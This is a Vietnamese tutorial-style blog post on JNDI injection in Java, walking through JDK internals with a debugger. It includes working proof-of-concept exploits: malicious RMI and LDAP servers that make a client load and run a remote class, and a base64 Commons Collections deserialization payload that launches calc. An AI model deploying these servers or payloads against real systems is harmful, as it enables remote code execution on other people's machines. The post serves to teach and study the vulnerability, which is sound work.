1. Giới thiệu
Tiếp theo trong hành trình học Java Sec của mình là lỗ hổng liên quan đến JNDI, cụ thể là JNDI Injection. Trước khi tìm hiểu cách khai thác, ta cần biết JNDI là gì ? Cách nó hoạt động như thế nào ? Thông qua cách hoạt động đó thì tìm ẩn rủi ro gì ?
Bài viết này mình tham khảo theo 2 bài blog sau:
2. JNDI là gì ?
Okie bây giờ vào phần chính. Vậy thì JNDI là gì và có các khái niệm cơ bản nào trong JNDI
Đầu tiên JNDI là viết tắt của Java Naming Directory Interface, ta thấy từ tên gọi thì JNDI được cấu thành từ 2 yếu tố là Naming và Directory, cụ thể từng thành phần như sau
Naming (hay Naming Service)
Đúng như tên gọi, Naming Service là một dịch vụ cho phép ta đặt tên cho một Object thông qua việc bind object với một tên gọi, khi cần sử dụng chỉ cần lookup theo tên. Naming Service này tương tự như cách DNS hoạt động khi bind một IP với một domain cụ thể
Directory (hay Directory Service)
Directory Service là dạng mở rộng của Naming Service, ngoài việc liến kết tên Object thì Directory Service còn cho phép liên kết thêm các attributes của Object đó, do đó khi lookup ngoài việc dùng tên thì ta còn có thể lookup thông qua các attributes
Một số Directory Service phổ biến có thể kể đến như LDAP hay Active Directory
JNDI
Vậy thì tóm lại JNDI là một interface cung cấp cho ta các API để tương tác với các Naming và Directory Service như LDAP, DNS, CORBA,....
Cấu trúc của JNDI được chia làm 2 phần là Java Application Layer Interface và SPI
SPI (Service Provider Interface) đúng như tên gọi, là một interface cung cấp service, với tác dụng chính là cung cấp một interface thống nhất cho các directory service để việc sử dụng và tương tác với các thư viện thứ 3 dễ dàng và linh hoạt hơn.
Trên sơ đồ ta có thể thấy 6 directory service mặc định trong JNDI là LDAP, DNS, NIS, NDS, RMI và CORBA
ObjectFactory
Ngoài ra còn một khái niệm nữa mình muốn nhắc đến là ObjectFactory
trong JNDI.
ObjectFactory đóng một vai trò quan trọng trong JNDI, khi nó được sử dụng để chuyển đổi Object trong Directory service thành Object hoặc các kiểu dữ liệu cơ bản trong Java. Khi ta request một Object từ JNDI thì implement của ObjectFactory
sẽ tiến hành khởi tạo object đó cho ta thông qua references hoặc name mà ta truyền vào
public interface ObjectFactory {
Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
throws Exception;
}
Bằng việc implement lại ObjectFactory
ta có thể can thiệp vào quá trình khởi tạo object của JNDI (như tiêm vào đây một object độc hại), đây cũng chính là bản chất của JNDI Injection
3. Code ví dụ sử dụng JNDI
Okie các khái niệm cơ bản đã nắm rõ, giờ thì bắt tay vào code thôi (ở code demo và code exploit phía dưới mình đều dùng JDK8u66
)
Ở đây mình sẽ demo bằng RMI server trong JNDI
Đầu tiên ta định nghĩa một class Person:
import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote, Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String toString(){
return "name:"+name+" password:"+password;
}
}
Tiếp theo là dùng JNDI khởi tạo RMI server
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
Person p = new Person();
p.setName("endy");
p.setPassword("soymilk");
ctx.bind("person", p);
ctx.close();
Và cuối cùng tại Client, gọi đến RMI server để get remote method
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
Person p = (Person) ctx.lookup("person");
System.out.println(p.toString());
ctx.close();
Kết quả
Hiệu quả khi sử dụng JNDI tương tự như cách dùng RMI thông thường, vậy thì code đã làm những việc gì?
Đầu tiên ta khai báo Registry với port 6666, tiếp theo set 2 thuộc tính là INITIAL_CONTEXT_FACTORY
và PROVIDER_URL
cho JNDI. Với INITIAL_CONTEXT_FACTORY
sẽ cho JNDI biết service mà ta muốn sử dụng (ở đây là RMI) còn PROVIDER_URL
sẽ cho JNDI biết địa chỉ service RMI của ta. Cuối cùng khởi tạo instance của Context
để làm việc với JNDI thông qua InitialContext
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
InitialContext
có nhiều cách khởi tạo khác nhau
public InitialContext();
protected InitialContext(boolean lazy);
public InitialContext(Hashtable<?,?> environment);
Các bạn có thể tham khảo cách khởi tạo dùng Hashtable như sau:
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:6666");
Context initialContext = new InitialContext(env);
Tương tự như RMI thì Context
cũng cung cấp 5 method để tương tác với service
// Binds a name to an object
bind(Name name, Object obj)
// Lists the names bound in the naming context along with the class names of the objects bound to them
list(String name)
// Retrieves the named object
lookup(String name)
// Rebinds a name to an object
rebind(String name, Object obj)
// Unbinds a named object
unbind(String name)
Như ta thấy ở trên demo, thì ta dùng bind
để tạo ràng buộc giữa tên và object, sau đó tại client ta dùng lookup
để tra cứu object thông qua tên.
4. Phân tích source code
Đầu tiên muốn khai thác một đối tượng thì ta phải hiểu rõ đối tượng đó, nên mình sẽ đi qua workflow của JNDI khi thực thi
Đầu tiên đặt breakpoint tại dòng khởi tạo instance của InitialContext
Constructor của InitialContext
sẽ gọi đến init
init
sẽ tạo một Hashtable với 2 tham số môi trường ta khai báo, và gọi đến getDefaultInitCtx
getDefaultInitCtx
gọi đến NamingManager.getInitialContext
với tham số là Hashtable chứa 2 biến env mà ta đã set
Tại đây instance của InitialContextFactoryBuilder
được tạo thông qua getInitialContextFactoryBuilder
Vì getInitialContextFactoryBuilder
trả về InitialContextFactoryBuilder
null nên ta nhảy được vào câu điều kiện builder == null
Trong câu điều kiện, className
được lấy thông qua biến env INITIAL_CONTEXT_FACTORY
mà ta truyền vào, và biến className
sẽ được dùng để khởi tạo InitialContextFactory
Kết quả biến factory
là RegistryContextFactory
cũng chính là implement của InitialContextFactory
giúp xử lý RMI Service trong JNDI
Ta thấy từ tham số môi trường đầu tiên là INITIAL_CONTEXT_FACTORY
ta tạo được instance của implement xử lý RMI Service trong JNDI
Vậy thì env thứ 2 của ta là PROVIDER_URL
được xử lý như thế nào ? Nếu muốn biết thì ta tiếp tục debug thoaiii
Debug đến cuối method thì ta thấy getInitialContext
của factory ở đây chính là RegistryContextFactory
được gọi
Tại getInitialContext
, var1 chính là env mà ta set và được đưa vào URLToContext
. Nhưng trước đó getInitCtxURL
được gọi
getInitCtxUrl
đơn giản là lấy ra URL thông qua key java.naming.provider.url
của hashtable
Đi vào URLToContext
, method này sẽ lấy instance của url mà ta đã set thông qua method getObjectInstance
Method getObjectInstance
gọi đến getUsingURL
Tại đây sẽ thực hiện lookup Object thông qua url mà ta đã set trước đó
Tại method lookup
, kết quả khi resolve url được lưu trong var2
, ở đây ta có thể thấy resolvedObj chính là một RegistryImpl_Stub
trong RMI
Và tiếp tục method gọi đến var3.lookup
mà var3
là Context
được tạo từ var2
, mà ở trong trường hợp này là RegistryContext
, tại RegistryContext.lookup()
sẽ trả về instance của RegistryContext
Đây là constructor của RegistryContext
Và theo flow ở trên ta đã biết thì RegistryContext
này được dùng để khởi tạo RegistryContextFactory
và RegistryContextFactory
có thể sử dụng RegstriImpl_Stub
cho phép ta call remote method
Để tóm tắt thì mình sẽ dùng hình sau:
5. JNDI Protocol Dynamic Conversion
Có một cơ chế quan trọng mà ta cần phải biết khi tìm hiểu về JNDI injection đó là hành vi chuyển đổi giao thức động trong JNDI
Vẫn là đoạn code demo phía trên tuy nhiên ở phía client mình bỏ đi các dòng set biến môi trường và đặt url lookup thành như sau
InitialContext ctx = new InitialContext();
Person p = (Person) ctx.lookup("rmi://localhost:6666/person");
System.out.println(p.toString());
ctx.close();
Khi chạy thì vẫn cho ta kết quả như ban đầu
Vậy thì JNDI làm gì để nhận biết đây là RMI service ?
Debug vào method lookup
, ta thấy method lookup
của getURLOrDefaultInitCtx
của InitialContext
được gọi
Tại getURLOrDefaultInitCtx
, Context sẽ được thông qua getURLContext
với tham số là scheme ta lookup, trong trường hợp này là rmi
getURLContext
gọi đến getURLObject
với scheme là rmi
Tại getURLObject
sẽ tạo ObjectFactory
ứng với schema là rmi
factory sau khi tạo chính là rmiURLContextFactory
Ta để ý khi factory được tạo nó sẽ phụ thuộc vào biến defaultPkgPrefix
. Tính năng chuyển đổi giao thức động sẽ được hỗ trợ by default bởi các giao thức nằm trong defaultPkgPrefix
Các giao thức nằm trong defaultPkgPrefix
sẽ bao gồm
Sau khi khởi tạo được factory là rmiURLContextFactory
thì khi quay trở lại method lookup, lookup
của rmiURLContextFactory
được gọi, tiếp theo thì thực hiện tương tự như flow ở trên mình đã phân tích
Tính năng tiện ích sẽ đi kèm với rủi ro, nếu ta có thể kiểm soát được chuỗi đưa vào method lookup
ta có thể khiến server tải class độc hại dẫn đến nhiều nguy hiểm. Ý tưởng tấn công này cũng tương tự tấn công vào tính năng codebase của RMI mà mình đã nói ở bài trước
6. Reference class
Cuối cùng tính năng cần phải biết trước khi đi đến tấn công JNDI Injection là Reference class. Đây là class sẽ đại diện cho một object bên ngoài naming/directory service. Hay nói cách khác khi một object không tồn tại trong naming/directory service, thì Reference class sẽ được dùng để đại diện cho object đó, khi cần khởi tạo nó sẽ tải class đó về (tương tự codebase trong RMI)
Ta có thể tạo trực tiếp Reference class thông qua constructor với 3 tham số
Reference(String className, String factory, String factoryLocation)
className: là tên class mà muốn khởi tạo khi sử dụng Reference
factory: chỉ định class implement
ObjectFactory
đủ điều kiện để khởi tạo classNamefactoryLocation: là đường dẫn dến factory, chấp nhận nhiều loại schema như http://, file://, ftp://, ... nhưng thông thường là http://
7. JNDI Injection
a. Ý tưởng
Ý tưởng tấn công JNDI Injection rất đơn giản, untrusted data rơi vào method lookup ta sẽ lợi dụng tính năng chuyển đổi giao thức động và Reference class để khiến client thay vì kết nối đến server như thông thường mà sẽ kết nối đến server của ta, tại đây ta host một class độc hại trả về cho client, khi class độc hại đó được khởi tạo ta có thể RCE.
Ví dụ khi tấn công RMI Service trong JNDI:
Khiến client lookup đến "rmi://evil.com:1099" thay vì "rmi://localhost:1099"
Tại đây dùng Reference class, để client gửi request đến "evil-cb.com"
Tại "evil-cb.com" sẽ trả về Evilclass có chứa payload tại constructor
Khi client khởi tạo Evilclass, payload trong constructor được thực thi
b. Tấn công JNDI - RMI
Như ý tưởng đã nêu ở trên mình có một evil RMI Server như sau
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:5555/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
Tại đây mình dùng Reference để refer đến EvilObject
ở http://localhost:5555
Note: trong RMI các remote Object phải kế thừa UnicastRemoteObject class, do đó Reference của ta phải được bọc trong ReferenceWrapper
Nội dung của EvilObject
public class EvilObject extends UnicastRemoteObject implements ObjectFactory {
public EvilObject() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
EvilObject
sẽ implement ObjectFactory
vì nó đang được khai báo là factory tại evil RMI server
Nội dung phía client
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/refObj"; // untrusted data go here
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}
Để demo exploit ta sẽ chạy evil rmi server trước, sau đó mở http server tại nơi lưu EvilObject.class
(khác nơi với server) và cuối cùng là chạy client.
Chạy evil rmi server
Mình tạo một project khác để lưu EvilObject.class
, và chạy http server tại đó
Kết quả khi chạy client
Okie vậy thì chuyện gì đã xảy ra, và tại sao ta lại phải cho payload vào constructor ?
Để giải đáp thì cùng mình debug quá trình exploit nha.
Đặt breakpoint tại lookup
Quá trình getURLOrDefaultInitCtx
thì mình đã nói ở trên rồi nên sẽ không nhắc lại, mình sẽ nhảy trực tiếp vào lookup
luôn
Vẫn tương tự flow đã nói ở trên, sau khi resolve thì gọi đến RegsitryContext.lookup
. Tại đây vì var1 là object ta cần lookup tên là refObj
nên nó sẽ đi vào nhánh else của câu điều kiện
var2
sau khi xử lý sẽ trả về ReferenceWrapper_Stub
và được đưa vào decodeObject
Tại decodeObject
sẽ thực hiện call với server để lấy ra Reference class thông qua method getReference
Ta thấy var3
chính là object Reference mà ta đã khai báo ở evil rmi client
Tiếp tục getObjectInstance
của NamingManager
được gọi, để lấy instance từ Reference. Tại đây vì biến ref
khác null nên sẽ nhảy vào câu điều kiện
Tiếp theo gọi đến getObjectFactoryFromReference
để tạo ObjectFactory, mà tại đây className sẽ được lấy ra từ Reference (1), sau đó được load thông qua loadClass
(2) và cuối cùng được khởi tạo bằng newInstance
(3)
Khi EvilObject
được khởi tạo bằng newInstance
constructor được gọi, payload được thực thi.
b. Tấn công JNDI - LDAP
Ở trên ta đã demo tấn công JNDI Injection với Naming Service là RMI, vậy thì khi tấn công JNDI Injection với Directory Service thì sẽ như thế nào ? Ở đây mình sẽ demo bằng Directory Service LDAP
Ở đây tránh lan man mình sẽ không đề cập đến khái niệm LDAP là gì, các bạn có thể tự tìm hiểu. Nhưng một điều cần lưu ý là LDAP sẽ lưu trữ thông tin dưới dạng cấu trúc dữ liệu cây, điều này cũng tương tự với đặt trưng của Directory Service. Do đó khi lookup dữ liêu trong LDAP ta sẽ phải đi từ gốc đến cành rồi mới đến lá đến quả.
Ý tưởng tấn công cũng tương tự trên, nhưng trước ta phải thêm thư viện ldap vào project, mình sẽ dùng unboundid-ldapsdk:3.1.1
Tạo một evil ldap server như sau
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:5555/#EvilObject"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Ta sẽ mở evil ldap server tại port 9999, mỗi khi client request đến ldap sever thì hàm sendResult
sẽ được gọi để trả về kết quả, hàm sendResult
sẽ đi đến http://127.0.0.1:5555/#EvilObject
để lấy EvilObject về và gửi cho client
Nội dung EvilObject
thì vẫn tương tự phần trên
public class EvilObject extends UnicastRemoteObject implements ObjectFactory {
public EvilObject() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
Code phía client
public class LDAPClient {
public static void main(String[] args) throws NamingException {
String string = "ldap://localhost:9999/EvilObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
Để exploit mình sẽ khởi động evil ldap server trước, sau đó mở http server tại nơi lưu EvilObject
sau đó mới đến Client
Kết quả:
Vây thì chuyển gì đã xảy ra, EvilObject
được load như thế nào ? Để biết được thì ta cùng debug
Flow hoạt động cũng tương tự phần rmi ở trên nhưng sẽ khác đôi chút vì đây là Directory Service, cụ thể như sau:
getURLOrDefaultInitCtx
sẽ trả về ldapURLContext
vì đây là LDAP service
ldapURLContext
sẽ gọi đến GenericURLContext.lookup()
Vì đây là LDAP Serivce nên kết quả của var3
sẽ là LdapCtx
Nhưng vì lookup
không có class kế thừa nào tên là LdapCtx
nên PartialCompositeContext.lookup
được gọi
Tại đây thì nó gọi đến ComponentContext.p_lookup
với var6
là classname EvilObject
Tại đây thì gọi đến c_lookup
Tại c_lookup
sẽ trả về directory factory thông qua method getObjectInstance
getObjectInstance
của DirectoryManager
và NamingManager
khá tương tự nhau, nên flow tiếp theo y hệt như mình đã nói phía trên. getObjectFactoryFromReference
được gọi để lấy Object từ Reference và EvilObject cũng được khởi tạo tại đây
d. Lưu ý
Để có thể tấn công thành công JNDI Injection thì ta cần để ý phiên bản JDK của target, vì ở các phiên bản cao thì những code exploit trên của chúng ta là vô dụng và phải tìm cách exploit khác. Trong bài này mình sử dụng JDK8u66 để minh họa nên không bị ảnh hưởng gì tuy nhiên ở các bản JDK sau có 1 số tác động
JDK > 6u45, 7u21: Ở phiên bản này
java.rmi.server.useCodebaseOnly
được đặt mặt định làtrue
nên tính năng load class từ xa của RMI bị vô hiệu, class chỉ được load khi nằm trong classpath hoặc được chi định bởijava.rmi.server.codebase
JDK > 6u141, 7u131, 8u121: Ở các phiên bản này
com.sun.jndi.rmi.object.trustURLCodebase
được giới thiệu và đặt mặc địch là false, khi đó RMI hay CORBA sẽ không được phép load class động từ bất kỳ URL nào mà phải từ classpath. Tuy nhiên ta có thể bypass bằng cách sử dụng URL với giao thức LDAPJDK > 6u211, 7u201 và 8u191: Ở các phiên bản này option
com.sun.jndi.ldap.object.trustURLCodebase
được thêm vào và đặt mặc định là false, nó sẽ disable khả năng load class động của LDAP
8. JNDI Injection và Java Deser
Như đã đề cập ở trên thì trong các JDK phiên bản cao hơn việc tải lớp động của JNDI bị vô hiệu hóa, nên ta cần một hướng tấn công khác và tấn công kết hợp JavaDeser là một ví dụ
Trong LDAP thì cũng dùng nhiều cách khác nhau để lưu trữ dữ liệu và serialize data là một trong số đó, LDAP sẽ lưu serialize data trong attribute javaSerializedData
, khi client nhận kết quả trả về sẽ nếu javaSerializedData
được set nó sẽ tiến hành deser, nếu ta có thể kiểm soát được javaSerializedData
và client có gadgetchain deserialize thì ta tấn công rất dễ dàng.
Để demo mình sẽ dùng chain của thư viện CC3.2.1. Code của evil ldap server sẽ như sau, với mã base64 là seri payload:
package LDAPServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;
public class LDAPServer_JavaDeser {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#EXP"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Ta cần set 2 thuộc tính là javaClassName
và javaSerializedData
Khi chạy client thì calc được popup
Vậy thì tại sao cần set đến 2 attribute và JNDI đã giải tuần tự hóa ở đâu?
Khi tiến hành debug ta sẽ thấy tại method c_lookup
của LdapCtx
có một câu điều kiện như thế này
Nếu ((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2])
có tồn tại, thì sẽ gọi đến Obj.decodeObject
để giải tuần tự hóa Object. Mà ((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2])
sẽ trả về attribute javaClassName
ta set lúc nãy, đó cũng là lý do tại sao muốn deser Object thì phải set javaClassName
Hàm decodeObject
đơn giản gọi đến deserializeObject
để deser javaSerializedData